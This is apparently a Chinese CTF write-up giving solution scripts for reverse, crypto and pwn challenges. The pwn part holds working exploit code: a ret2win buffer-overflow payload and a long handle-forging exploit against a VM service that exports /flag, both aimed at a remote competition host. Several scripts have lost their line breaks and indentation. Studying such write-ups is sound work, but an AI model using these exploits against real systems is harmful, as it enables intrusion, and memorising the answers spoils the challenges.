![]()
Reverse
rev1
解密流程:密文 -> Caesar -3 ->逆分组换位 -> Base64解码 -> flag
import base64
enc='P7UXIJPHYJTmCCpakC6vcPmgEQGTcQIQWQHT63=nP3PcD3TXT4RW'
def inv_rot3(c):
if \"A\"<=c<=\"Z\":
return chr((ord(c)-ord(\"A\")-3)%26+ord(\"A\"))
if \"a\"<=c<=\"z\":
return chr((ord(c)-ord(\"a\")-3)%26+ord(\"a\"))
if \"0\"<=c<=\"9\":
return chr((ord(c)-ord(\"0\")-3)%26+ord(\"0\"))
return c
def solve():
dst = \"\".join(inv_rot3(c) for c in enc)
src = dst[13:26]+dst[39:52]+dst[0:13]+dst[26:39]
return base64.b64decode(src).decode()
print(solve())
ezvm
程序核心是一个很小的自定义VM。主函数会把.data段中从0x403018开始的0x72个 dword拷贝到栈上,然后调用解释器函数sub\_401000执行。
关键代码逻辑如下:
4011b8 movecx,72h
4011bd movesi,offset src_ ; 0x403018
4011c8 repmovsd
4011d1 callsub_401000
也就是说,0x403018处保存的是 VM bytecode。
解释器每次读取一个 dword作为opcode,主要指令如下:
| opcode | 作用 |
|---|---|
| 1 | 把bl写入输出缓冲区,输出下标加一 |
| 2 imm | bl = work[i] + imm |
| 3 imm | bl = work[i] - imm |
| 4 imm | bl = work[i] ^ imm |
| 5 imm | bl = work[i] \* imm,只保留低 8 位 |
| 7 imm | 比较输出缓冲区当前字节是否等于imm |
| 8 | 把bl写回工作缓冲区 |
| 10 | 读取输入,要求长度为 15 |
| 11 | bl = work[i] - 2 |
| 12 | bl = work[i] + 2 |
程序最后会比较 15个字节,最终 exp如下:
prs=[0x000A,0x0000,0x0004,0x0000,0x0010,0x0000,0x0008,0x0000,0x0003,0x0000,0x0005,0x0000,0x0001,0x0000,0x0004,0x0000,0x0020,0x0000,0x0008,0x0000,0x0005,0x0000,0x0003,0x0000,0x0001,0x0000,0x0003,0x0000,0x0002,0x0000,0x0008,0x0000,0x000B,0x0000,0x0001,0x0000,0x000C,0x0000,0x0008,0x0000,0x0004,0x0000,0x0004,0x0000,0x0001,0x0000,0x0005,0x0000,0x0003,0x0000,0x0008,0x0000,0x0003,0x0000,0x0021,0x0000,0x0001,0x0000,0x000B,0x0000,0x0008,0x0000,0x000B,0x0000,0x0001,0x0000,0x0004,0x0000,0x0009,0x0000,0x0008,0x0000,0x0003,0x0000,0x0020,0x0000,0x0001,0x0000,0x0002,0x0000,0x0051,0x0000,0x0008,0x0000,0x0004,0x0000,0x0024,0x0000,0x0001,0x0000,0x000C,0x0000,0x0008,0x0000,0x000B,0x0000,0x0001,0x0000,0x0005,0x0000,0x0002,0x0000,0x0008,0x0000,0x0002,0x0000,0x0025,0x0000,0x0001,0x0000,0x0002,0x0000,0x0036,0x0000,0x0008,0x0000,0x0004,0x0000,0x0041,0x0000,0x0001,0x0000,0x0002,0x0000,0x0020,0x0000,0x0008,0x0000,0x0005,0x0000,0x0001,0x0000,0x0001,0x0000,0x0005,0x0000,0x0003,0x0000,0x0008,0x0000,0x0002,0x0000,0x0025,0x0000,0x0001,0x0000,0x0004,0x0000,0x0009,0x0000,0x0008,0x0000,0x0003,0x0000,0x0020,0x0000,0x0001,0x0000,0x0002,0x0000,0x0041,0x0000,0x0008,0x0000,0x000C,0x0000,0x0001,0x0000,0x0007,0x0000,0x0022,0x0000,0x0007,0x0000,0x003F,0x0000,0x0007,0x0000,0x0033,0x0000,0x0007,0x0000,0x0031,0x0000,0x0007,0x0000,0x00A8,0x0000,0x0007,0x0000,0x0040,0x0000,0x0007,0x0000,0x001F,0x0000,0x0007,0x0000,0x00A5,0x0000,0x0007,0x0000,0x0046,0x0000,0x0007,0x0000,0x0093,0x0000,0x0007,0x0000,0x002B,0x0000,0x0007,0x0000,0x0054,0x0000,0x0007,0x0000,0x00C7,0x0000,0x0007,0x0000,0x0028,0x0000,0x0007,0x0000,0x007B,0x0000]
pr=[]
for i in prs:
if i>0:
pr.append(int(i))
# 获取target
target=[]
i=0
while i<len(pr):
if pr[i]==7:
target.append(pr[i+1])
i+=2
else:
i+=1
def vm(s):
work=bytearray(s)+bytearray(100)
out=[]
pc=0
i=0
wp=0
bl=0
while pc<len(pr):
op=pr[pc]
if op==10:
pc+=1
elif op==1:
out.append(bl&0xff)
i+=1
pc+=1
elif op==2:
bl=work[i]+pr[pc+1]
pc+=2
elif op==3:
bl=work[i]-pr[pc+1]
pc+=2
elif op==4:
bl=work[i]^pr[pc+1]
pc+=2
elif op==5:
bl=work[i]*pr[pc+1]
pc+=2
elif op==7:
pc+=2
elif op==8:
work[wp]=bl&0xff
wp+=1
pc+=1
elif op==11:
bl=work[i]-2
pc+=1
elif op==12:
bl=work[i]+2
pc+=1
else:
pc+=1
return out
flag=''
for pos in range(15):
for c in range(32,127):
s=bytearray(b'A'*15)
s[pos]=c
if vm(s)[pos]==target[pos]:
flag+=chr(c)
break
print(flag)
Crypto
stream
题目给了三份数据:
known_plaintext = \"Ganzhou, a city in Jiangxi Province,is known for its rich revolutionary history, Hakka culture, rare earth resources, and role as a historic gateway in southern China.\"
known_ciphertext_hex = \"16222c48585d430d7122625159464f01382d627859535846292a6262425d40483f20271e5941164a3f2c355c10545953712a364110405f4239633057465d5a54252a2d5c51404f01392a31465f404f0d710b23595b531642242f364742571a012322305710575753252b624055415954232027411c12574f3563305d5c57164022632312585b45553e312b51105557553434234b105b5801222c37465857444f71002a5b5e5318\"
secret_ciphertext_hex = \"172f2355104053423e31260810545a4036382c574657447e23263741556d577e252a2c4b6f41425334222f6d5b574f5c\"
其中known*plaintext和known*ciphertext*hex是一组已知明文 /密文对,目标是解出secret*ciphertext\\_hex。
这类题目很像流密码或者 XOR加密。
如果加密方式是:
ciphertext = plaintext XOR keystream
那么在已知一组明文和对应密文时,可以直接恢复密钥流:
keystream = plaintext XOR ciphertext
题目中已知明文长度和对应密文长度相同,所以可以逐字节异或,得到用于加密的密钥流。
完整解题脚本如下:
from binascii import unhexlify
known_plaintext = b\"Ganzhou, a city in Jiangxi Province,is known for its rich revolutionary history, Hakka culture, rare earth resources, and role as a historic gateway in southern China.\"
known_ciphertext_hex = \"16222c48585d430d7122625159464f01382d627859535846292a6262425d40483f20271e5941164a3f2c355c10545953712a364110405f4239633057465d5a54252a2d5c51404f01392a31465f404f0d710b23595b531642242f364742571a012322305710575753252b624055415954232027411c12574f3563305d5c57164022632312585b45553e312b51105557553434234b105b5801222c37465857444f71002a5b5e5318\"
secret_ciphertext_hex = \"172f2355104053423e31260810545a4036382c574657447e23263741556d577e252a2c4b6f41425334222f6d5b574f5c\"
def xor_bytes(a,b):
return bytes(x^y for x,y in zip(a,b))
def find_period(data):
for period in range(1,len(data)+1):
ok = True
for i in range(len(data)):
if data[i]!=data[i%period]:
ok = False
break
if ok:
return period
return len(data)
def r_x_d(ciphertext,key):
return bytes(c^key[i%len(key)] for i,c in enumerate(ciphertext))
def main():
k_c = unhexlify(known_ciphertext_hex)
s_c = unhexlify(secret_ciphertext_hex)
r_k = xor_bytes(known_plaintext,k_c)
period = find_period(r_k)
key = r_k[:period]
s_p = r_x_d(s_c,key)
text = s_p.decode()
print(text)
main()
Pwn
servicedesk
buf存在溢出
存在读取flag的函数
最终的exp如下
from pwn import *ret = 0x40080Bpayload = b\"A\"*(64+8) + p64(ret) + p64(0x400786)p = remote(\"111.74.9.131\",\"10099\")p.sendlineafter(\"\
\",payload)p.interactive()
chronovault
利用思路
利用点是 push/restore 只回滚句柄表和 epoch,不回滚对象表与 temporal record,于是可以制造“回到过去的句柄 + 留在未来的对象”,再结合一次 leak 恢复内部 seed,伪造合法 handle,最终通过 commit + activate + export_flag 读出 /flag
Step 1: 利用时间回滚制造可控 type2 leak
关键包序列是:
-
new_data(reg)为 4 个寄存器分配0x31句柄 -
push -
track(reg)生成 temporal record -
drop(reg)释放句柄并清对象 -
restore回滚句柄表 -
seal将满足条件的 temporal record 物化为 type2 -
dump(reg, 0, 0x40)泄露该对象内容
这里的关键事实是:restore 不会恢复对象槽,也不会恢复 temporal record。于是 reg 看起来仍持有旧句柄,但这个句柄已经与“未来”物化出来的新对象发生了时序错配,可以稳定 dump 出 0x40 字节对象数据。
这一泄露足够恢复 seed0 和 seed1。由于初始化函数里三组 64-bit seed 都来自同一个 getrandom 值跑出的连续 splitmix64 输出,所以再根据 splitmix64 链关系可直接反推出 seed2,不需要做多次 leak
Step 2: 伪造句柄并通过认证状态
拿到三组 seed 后,就可以复现 VM 的 handle MAC,配合 import_handle 伪造任意合法 16-byte handle。
后续利用链如下:
- 清掉第一次 leak 后残留的
slot 1..3 / entry 1..3 - 对
slot 0生成的0x9b31c62d对象计算commitproof - 伪造
0x52anchor handle 并执行activate - 临时占满
slot 1..3,让下一次seal的持久对象落到slot 4 - 因为
slot % 5 == 4,此时得到的对象 magic 为0x42e91f7b - 对这个 key 对象重复
commit,再伪造0x52key handle,执行export_flag
这条链完整体现在 exploit.py 中,脚本会直接连接远端、完成 seed 恢复、proof 计算、auth 激活和最终 flag 导出。
exp如下:
#!/usr/bin/env python3from pwn import *import osimport structimport subprocessimport tempfilefrom pathlib import Pathcontext.binary = elf = ELF(\"./chronovault\", checksec=False)context.log_level = os.environ.get(\"LOG\", \"info\")HOST = os.environ.get(\"HOST\", \"111.74.9.131\")PORT = int(os.environ.get(\"PORT\", \"18067\"))MASK = (1 << 64) - 1GAMMA = 0x9E3779B97F4A7C15KEYS = { \"skip_blob\": 0xcd, # reg, u16 len, blob \"new_data\": 0xa7, # reg, u16 len, blob -> 0x31 handle, flags 3 \"check2\": 0x44, \"track\": 0x39, # reg -> temporal record \"push\": 0xb4, # save handle table, epoch++ \"nop\": 0x2b, \"drop\": 0x0e, # release handle, clear pointed object \"restore\": 0xc9, # restore saved handle table and old epoch \"skip3\": 0x9a, \"seal\": 0x27, # materialize eligible temporal record as type2 object \"dump\": 0x4c, # reg, off, len -> B frame, full 0x40 sets pending digest \"new_token\": 0xf1, \"bad\": 0xbe, \"import_handle\": 0x15, # reg, transformed 16-byte handle \"activate\": 0x68, # 0x52 anchor handle -> sets auth state \"mark\": 0x58, # full-read side effect without output \"export_flag\": 0x93, # 0x52 key handle -> F frame \"ack\": 0x6d, \"write\": 0xd2, \"copy\": 0x81, \"pop\": 0x5a, \"check1a\": 0x72, \"check1b\": 0xe6, \"commit\": 0x03, # reg, proof_lo, proof_hi -> registry kind 0x52 \"check2b\": 0xaf,}PERM = bytes.fromhex(\"09000e030c05020b07040f01060d080a\")C20 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5020, 8)))C28 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5028, 8)))C30 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5030, 8)))C38 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5038, 8)))C40 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5040, 8)))C48 = u64(bytes(b ^ 0xA5 for b in elf.read(0x5048, 8)))def rol(x, n, bits=64): n %= bits return ((x << n) | (x >> (bits - n))) & ((1 << bits) - 1)def ror(x, n, bits=64): n %= bits return ((x >> n) | (x << (bits - n))) & ((1 << bits) - 1)def unxorshr(x, shift): # Invert x ^= x >> shift for 64-bit values. y = x s = shift while s < 64: y ^= x >> s s += shift # The iterative form above is not sufficient for all shifts; use bit solve. y = 0 for i in range(63, -1, -1): bit = (x >> i) & 1 if i + shift < 64: bit ^= (y >> (i + shift)) & 1 y |= bit << i return y & MASKdef splitmix_final(z): z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9 & MASK z = (z ^ (z >> 27)) * 0x94D049BB133111EB & MASK return (z ^ (z >> 31)) & MASKdef splitmix_inv(z): z = unxorshr(z, 31) z = z * pow(0x94D049BB133111EB, -1, 1 << 64) & MASK z = unxorshr(z, 27) z = z * pow(0xBF58476D1CE4E5B9, -1, 1 << 64) & MASK z = unxorshr(z, 30) return z & MASKdef mix33(x): x = (x ^ (x >> 33)) * 0xFF51AFD7ED558CCD & MASK x = (x ^ (x >> 33)) * 0xC4CEB9FE1A85EC53 & MASK return (x ^ (x >> 33)) & MASKdef opcode_byte(key, pos): mask = (((pos >> 1) * 0x17) ^ ((pos * 0x43 + 0x9D) & 0xFF) ^ (((pos >> 5) * -0x3F) & 0xFF)) & 0xFF return key ^ maskclass Program: def __init__(self): self.buf = bytearray() def op(self, name, payload=b\"\"): self.buf.append(opcode_byte(KEYS[name], len(self.buf))) self.buf += payload return self def bytes(self): return bytes(self.buf) def new_data(self, reg, data): assert 0 <= reg < 16 and len(data) <= 0x60 return self.op(\"new_data\", p8(reg) + p16(len(data)) + data) def track(self, reg): return self.op(\"track\", p8(reg)) def drop(self, reg): return self.op(\"drop\", p8(reg)) def push(self): return self.op(\"push\") def restore(self): return self.op(\"restore\") def seal(self): return self.op(\"seal\") def dump(self, reg, off=0, size=0x40): return self.op(\"dump\", p8(reg) + p16(off) + p16(size)) def commit(self, reg, proof): return self.op(\"commit\", p8(reg) + p16(proof & 0xFFFF) + p16((proof >> 16) & 0xFFFF)) def activate(self, reg): return self.op(\"activate\", p8(reg)) def export_flag(self, reg): return self.op(\"export_flag\", p8(reg)) def import_handle(self, reg, raw_handle): return self.op(\"import_handle\", p8(reg) + encode_import(raw_handle))def encode_import(out16): out16 = bytes(out16) assert len(out16) == 16 inp = bytearray(16) c = 0x5D for i, dst in enumerate(PERM): mask = (((i & 3) << 5) + c) & 0xFF inp[i] = out16[dst] ^ mask c = (c + 0x31) & 0xFF return bytes(inp)class HandleModel: def __init__(self): self.gen = [0] * 32 self.active = [False] * 32 self.obj_slot = [None] * 32 self.kind = [0] * 32 def alloc(self, kind, obj_slot): for i in range(32): if not self.active[i]: self.active[i] = True self.kind[i] = kind self.obj_slot[i] = obj_slot return i, self.gen[i] raise RuntimeError(\"handle table exhausted\") def drop(self, entry): self.active[entry] = False self.gen[entry] = (self.gen[entry] + 1) & 0xFFFF self.kind[entry] = 0 self.obj_slot[entry] = None def snapshot(self): return (self.gen[:], self.active[:], self.obj_slot[:], self.kind[:]) def restore(self, snap): self.gen[:], self.active[:], self.obj_slot[:], self.kind[:] = [x[:] for x in snap]def frame_recv(io): hdr = io.recvn(3, timeout=2) if not hdr: raise EOFError(\"no response\") tag = hdr[0] if tag in (0x42, 0x46): ln = u16(hdr[1:3]) return chr(tag), io.recvn(ln, timeout=2) if hdr == b\"\\x53\\x01\\x00\": return \"S\", io.recvn(1, timeout=2) if hdr == b\"\\x45\\x01\\x00\": return \"E\", io.recvn(1, timeout=2) raise ValueError(f\"bad frame header: {hdr.hex()}\")def send_packet(io, prog, want_all=False): body = prog.bytes() if isinstance(prog, Program) else bytes(prog) io.send(p32(len(body)) + body) frames = [] while True: tag, data = frame_recv(io) frames.append((tag, data)) if tag == \"E\": raise RuntimeError(f\"VM error code {data.hex()} after packet {body.hex()}\") if tag == \"S\" and data == b\"\\xff\": break return frames if want_all else [f for f in frames if f[0] in (\"B\", \"F\")]def start(): if args.REMOTE: return remote(HOST, PORT) env = {} if args.FAKEFLAG: env.update(make_fopen_redirect()) if args.GDB: return gdb.debug([elf.path], gdbscript=\"b *main\
c\", env=env) return process([elf.path], env=env)def make_fopen_redirect(): # Local validation convenience: the binary opens absolute /flag. root = Path(tempfile.mkdtemp(prefix=\"cv_flag_\")) src = root / \"fopen_redirect.c\" so = root / \"fopen_redirect.so\" flag_path = str((Path.cwd() / \"flag\").resolve()) src.write_text( r'''#define _GNU_SOURCE#include <dlfcn.h>#include <stdio.h>#include <string.h>typedef FILE *(*fopen_t)(const char *, const char *);FILE *fopen(const char *path, const char *mode) { static fopen_t real_fopen; if (!real_fopen) real_fopen = (fopen_t)dlsym(RTLD_NEXT, \"fopen\"); if (path && strcmp(path, \"/flag\") == 0) return real_fopen(\"__FLAG_PATH__\", mode); return real_fopen(path, mode);}'''.replace(\"__FLAG_PATH__\", flag_path) ) subprocess.check_call([\"gcc\", \"-shared\", \"-fPIC\", \"-O2\", str(src), \"-o\", str(so)]) return {\"LD_PRELOAD\": str(so)}def magic_for_slot(slot): return 0x42E91F7B if slot % 5 == 4 else 0x9B31C62Ddef recover_from_leak(slot, blob): assert len(blob) == 0x40 magic = magic_for_slot(slot) x = u64(blob[0:8]) q18 = u64(blob[8:16]) q20 = u64(blob[16:24]) epoch = u64(blob[32:40]) pre18 = ror(q18, (slot & 7) + 3) s0 = pre18 ^ C48 ^ rol(x, 17) ^ rol((((slot << 32) ^ magic ^ x) & MASK), 11) ^ 0x4F1BBCDC7D6A8E23 z = splitmix_inv(x) s1_rot = ((z - 0x9E3779B97F4A7C15) & MASK) ^ s0 ^ ((epoch & 0xFFFF) << 32) ^ (((slot ^ magic) & 0xFFFFFFFF) * 0x517CC1B727220A95 & MASK) s1 = ror(s1_rot, 9) # Sanity check q20, which only depends on s1, x, and constants. t = rol((s1 ^ rol(x, 29) ^ C40) & MASK, (slot & 7) + 1) expect_q20 = (rol((q18 ^ x) & MASK, 11) ^ ((magic * 0xD6E8FEB86659FD93) & MASK) ^ t) & MASK if expect_q20 != q20: raise ValueError(f\"seed recovery sanity failed for slot {slot}: {expect_q20:#x} != {q20:#x}\") u = (slot * 5 + 7) % 24 pos = (u * 7 + 3) % 24 byte_idx = u & 7 leaked = blob[40 + pos] seed_byte = ( leaked ^ ((u * 0x29 + 0x5D + (epoch & 0xFF)) & 0xFF) ^ ((magic >> ((u & 3) * 8)) & 0xFF) ^ ((x >> (((u * 3 + 1) & 7) * 8)) & 0xFF) ) & 0xFF seed_kind = 0 if u <= 7 else (1 if u <= 15 else 2) return { \"slot\": slot, \"magic\": magic, \"x\": x, \"q18\": q18, \"q20\": q20, \"epoch\": epoch, \"s0\": s0 & MASK, \"s1\": s1 & MASK, \"seed_kind\": seed_kind, \"seed_byte_idx\": byte_idx, \"seed_byte\": seed_byte, \"blob\": blob, }def object_from_blob(slot, blob): return { \"slot\": slot, \"magic\": magic_for_slot(slot), \"q10\": u64(blob[0:8]), \"q18\": u64(blob[8:16]), \"q20\": u64(blob[16:24]), \"q30\": u64(blob[32:40]), \"blob\": blob, }def handle_mac(seeds, entry, gen, kind, flags, obj_slot): s0, s1, s2 = seeds v0 = C38 ^ s0 v1 = C30 ^ s1 v2 = C28 ^ s0 msg = (rol((((obj_slot + 1) * 0x9E3779B97F4A7C15) ^ s2) & MASK, 19) ^ ((flags & 0xFFFF) << 48) ^ ((kind & 0xFFFF) << 32) ^ ((gen & 0xFFFF) << 16) ^ (entry & 0xFFFF)) & MASK v3 = (C20 ^ s1 ^ msg) & MASK def sipround(a, b, c, d): a = (a + b) & MASK b = rol(b, 13) ^ a x = (rol(d, 16) ^ ((c + d) & MASK)) & MASK c = (c + d + b) & MASK a = (rol(a, 32) + x) & MASK b = rol(b, 17) ^ c c = rol(c, 32) d = rol(x, 21) ^ a return a, b, c, d for _ in range(3): v0, v1, v2, v3 = sipround(v0, v1, v2, v3) v2 ^= 0xFF msg ^= v0 for _ in range(4): msg, v1, v2, v3 = sipround(msg, v1, v2, v3) return mix33(v3 ^ v1 ^ msg ^ v2)def raw_handle(seeds, entry, gen, kind, flags, obj_slot): first = ((flags & 0xFFFF) << 48) | ((kind & 0xFFFF) << 32) | ((gen & 0xFFFF) << 16) | (entry & 0xFFFF) mac = handle_mac(seeds, entry, gen, kind, flags, obj_slot) return p64(first) + p64(mac)def object_check(obj, auth): u = (obj[\"q10\"] ^ obj[\"q30\"] ^ rol((auth ^ 0x6A09E667F3BCC909) & MASK, 23) ^ rol(obj[\"q18\"], 7) ^ rol(obj[\"q20\"], 17) ^ ((obj[\"magic\"] & 0xFFFFFFFF) << 11)) & MASK return mix33(u) & 0xFFFFFFFFdef pending_digest(seeds, obj, entry, gen, auth_state=False, auth=0): s0, s1, s2 = seeds u = ( (obj[\"slot\"] << 16) ^ s2 ^ obj[\"q10\"] ^ ((entry & 0xFFFF) << 48) ^ ((gen & 0xFFFF) << 32) ^ rol(obj[\"q18\"], 11) ^ rol(obj[\"q20\"], 27) ^ ((rol(s1, 29) + s0) & MASK) ^ (obj[\"magic\"] & 0xFFFFFFFF) ^ rol((obj[\"q30\"] ^ 0x243F6A8885A308D3) & MASK, 9) ) & MASK v = u ^ 0x3C6EF372BE94F82B if auth_state: v = rol(auth, 13) ^ u ^ 0x9E3779B93F4A7C15 return mix33(v)def commit_proof(seeds, obj, entry, gen, auth_state=False, auth=0): s0, s1, s2 = seeds pd = pending_digest(seeds, obj, entry, gen, auth_state, auth) u = ( s0 ^ s2 ^ pd ^ rol(s1, 17) ^ rol(pd, 29) ^ ((entry & 0xFFFF) << 48) ^ ((gen & 0xFFFF) << 32) ^ obj[\"q10\"] ^ (obj[\"slot\"] << 16) ^ rol(obj[\"q18\"], 5) ^ rol(obj[\"q20\"], 31) ^ (obj[\"magic\"] & 0xFFFFFFFF) ) & MASK v = u ^ 0x510E527FADE682D1 if obj[\"magic\"] == 0x42E91F7B: v = rol(auth, 7) ^ u ^ 0xA54FF53A5F1D36F1 # commit folds the second multiply stage before the final xor-shift m = ((v ^ (v >> 33)) * 0xFF51AFD7ED558CCD) & MASK m = ((m ^ (m >> 33)) * 0xC4CEB9FE1A85EC53) & MASK hi = (m >> 32) & 0xFFFFFFFF lo = m & 0xFFFFFFFF return (lo ^ (hi >> 1) ^ hi) & 0xFFFFFFFFdef auth_key_from_anchor(anchor_obj, handle_mac_value, flags): u = ( ((rol(anchor_obj[\"q18\"], 9) + anchor_obj[\"q10\"]) & MASK) ^ handle_mac_value ^ ((flags & 0xFFFF) << 32) ^ rol(anchor_obj[\"q20\"], 23) ^ 0xBB67AE8584CAA73B ) & MASK return mix33(u)def derive_s2(seed0, seed1): z1 = splitmix_inv(seed0) z2 = splitmix_inv(seed1) if ((z1 + GAMMA) & MASK) != z2: raise RuntimeError(\"splitmix chain mismatch while deriving seed2\") return splitmix_final((z2 + GAMMA) & MASK)def leak_type2(io, reg, content=b\"A\" * 8): regs = [reg, 13, 14, 15] p = Program() for r in regs: p.new_data(r, content) p.push() for r in regs: p.track(r) for r in regs: p.drop(r) p.restore() p.seal() p.dump(reg, 0, 0x40) frames = send_packet(io, p) blobs = [d for t, d in frames if t == \"B\"] if len(blobs) != 1 or len(blobs[0]) != 0x40: raise RuntimeError(f\"expected one 0x40 leak, got {frames!r}\") return blobs[0]def drop_forged(io, reg, seeds, entry, gen, obj_slot): h = raw_handle(seeds, entry, gen, 0x31, 3, obj_slot) send_packet(io, Program().import_handle(reg, h).drop(reg))def occupy_slots(io, count): filled = 0 while filled < count: n = min(4, count - filled) p = Program().push() for i in range(n): p.new_data(12 + i, b\"FILL\" + p8((filled + i) & 0xFF)) p.restore() send_packet(io, p) filled += ndef solve(io): # A single type2 leak recovers seed0/seed1, and init uses a splitmix64 chain. anchor_slot, anchor_reg = 0, 0 anchor_entry, anchor_gen = 0, 1 anchor_blob = leak_type2(io, anchor_reg) rec = recover_from_leak(anchor_slot, anchor_blob) seeds = (rec[\"s0\"], rec[\"s1\"], derive_s2(rec[\"s0\"], rec[\"s1\"])) log.success(\"seed0=%#x seed1=%#x seed2=%#x\", *seeds) # The leak packet leaves slots 1..3 and entries 1..3 alive; clean them with forged handles. for entry, slot in ((1, 1), (2, 2), (3, 3)): drop_forged(io, 9, seeds, entry, 1, slot) anchor_obj = object_from_blob(anchor_slot, anchor_blob) anchor_proof = commit_proof(seeds, anchor_obj, anchor_entry, anchor_gen, False, 0) send_packet(io, Program().commit(anchor_reg, anchor_proof)) anchor_flags = ((object_check(anchor_obj, 0) & 0xFF) << 8) | 0x40 anchor_raw = raw_handle(seeds, anchor_entry, anchor_gen, 0x52, anchor_flags, anchor_slot) auth = auth_key_from_anchor(anchor_obj, u64(anchor_raw[8:16]), anchor_flags) send_packet(io, Program().import_handle(anchor_reg, anchor_raw).activate(anchor_reg)) log.success(\"auth=%#x\", auth) # Occupy 1..3 without leaking handles so the next persistent type2 lands at slot 4. occupy_slots(io, 3) key_slot, key_reg = 4, 10 key_entry, key_gen = 1, 2 key_blob = leak_type2(io, key_reg, b\"K\" * 8) key_obj = object_from_blob(key_slot, key_blob) if key_obj[\"magic\"] != 0x42E91F7B: raise RuntimeError(f\"unexpected key slot magic: {key_obj['magic']:#x}\") key_proof = commit_proof(seeds, key_obj, key_entry, key_gen, True, auth) send_packet(io, Program().commit(key_reg, key_proof)) key_flags = ((object_check(key_obj, auth) & 0xFF) << 8) | 0x01 key_raw = raw_handle(seeds, key_entry, key_gen, 0x52, key_flags, key_slot) frames = send_packet(io, Program().import_handle(key_reg, key_raw).export_flag(key_reg)) flags = [d for t, d in frames if t == \"F\"] if not flags: raise RuntimeError(f\"no flag frame: {frames!r}\") return flags[-1]def main(): io = start() flag = solve(io) print(flag.decode(errors=\"replace\"))if __name__ == \"__main__\": main()
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论